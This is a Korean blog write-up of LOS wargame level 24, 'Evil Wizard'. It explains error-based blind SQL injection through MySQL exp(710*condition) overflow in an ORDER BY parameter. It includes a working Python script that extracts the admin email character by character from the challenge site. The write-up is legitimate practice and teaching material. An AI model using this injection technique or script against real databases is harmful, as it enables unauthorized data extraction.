정보보안/웹 해킹

LOS(The Lord of the SQLI) 24 - EVIL WIZARD

MDIN1 2021. 2. 25. 02:47

24번 문제인 Evil Wizard이다.

 

이 문제 주석을 보면 same with hell_fire? really? 라고 물으며 정말 23번 문제인 hell fire와 같은지를 묻는걸로 보아

일단 비슷한 문제라고 생각하며 문제에 접근했다.

 

이 문제 또한

if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard"); 를 보아

Blind SQL Injection이라는것을 알 수 있었고 

23번 문제처럼 if문이 먹히는지 확인해보았다.

예상은 했지만 23번 문제와 달리 이번 문제는 if문 자체는 먹히지만

ordre 파라미터에 id를 넣던, email를 넣던, score를 넣던 결과 값이 똑같기 때문에 다른 방식으로 문제에 접근해야 한다.

 

여러 방법을 찾다가, exp 함수를 이용한 ERROR BASED SQL INJECTION 방법을 알게 되었다.

exp 함수는 인자로 받은 값의 e의 승수를 구하는 함수인데,

이 함수의 매개변수 범위는 ORACLE을 제외하고 모두 709이다. (ORACLE은 290)

 

즉 los 문제에서 사용하는 dbms인 mysql 에서는

exp(709)는 에러가 발생하지 않지만

exp(710)는 최대 매개변수 범위인 709를 넘었기 때문에 오버플로우가 발생하여 에러가 발생한다.

 

 

exp(709)의 경우 정상 결과

 

 

 

exp(710)의 경우 에러가 발생하여 아무값도 출력하지 않음

 

 

이 exp(710)은 오버플로우로 인해 에러가 발생하지만

exp(710*0)은 exp(0)과 같기 때문에 e^0의 값인 1을 반환하게 되며 에러가 발생하지 않는다.

하지만 exp(710*1)은 그대로 exp(710)처럼 에러를 발생시킨다.

결국 exp(710*조건식)을 이용하면 조건식이 참일경우 에러발생, 거짓일경우 에러가 발생하지 않는다는 것을 참고해

SQL Injection 공격을 수행할 수 있다.

 

exp(710*0) 결과 → 정상 결과

 

exp(710*1) 결과 → 에러 발생

 

 

 

이를 이용해 짠 스크립트는 다음과 같다.

 

import requests

URL = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php' # 자신의 los 4번 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': '3593ffopdjull6qn00mro9kjq5'} # 자신의 los 세션값 수동 입력

ascii_range = []

for i in range(32,127): # 특수문자 + 알파벳 + 숫자
    ascii_range.append(i)

# 패스워드의 길이를 찾는 함수
def find_len():
    email_len = 0
    while True:
        email_len += 1
        # url? 뒤에 추가될 값이 value
        value = "if(exp(710*(id='admin' and length(email)={})),id,score)".format(email_len)
        parms={'order' : value}
        response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
        if "<table border=1><tr><th>id</th><th>email</th><th>score</th></table><hr>query : <strong>" in response.text: # 받아온 응답값 텍스트 중 'Subquery returns'이 존재한다면 패스워드 길이 반환
            print("길이는", email_len, "입니다.")
            break
        print("Trying")

    return email_len

def find_email():
    email_len = find_len()
    flag=''
    for email_value in range(1,email_len+1):
        for ascii in ascii_range: # 아스키 코드값
            value = "if(exp(710*(id='admin' and ascii(substr(email,{},1))={})),id,score)".format(email_value,ascii)
            parmas = {'order' :value }
            response = requests.get(URL, params=parmas, cookies=cookies)
            if "<table border=1><tr><th>id</th><th>email</th><th>score</th></table><hr>query : <strong>" in response.text:
                print("email의",email_value,"번째는",chr(ascii), '입니다.')
                flag += chr(ascii)
    print("pw는", flag, "입니다.")

find_email()

 

 

 

 

스크립트 결과 일부

 

24번 문제 EVIL WIZARD Clear!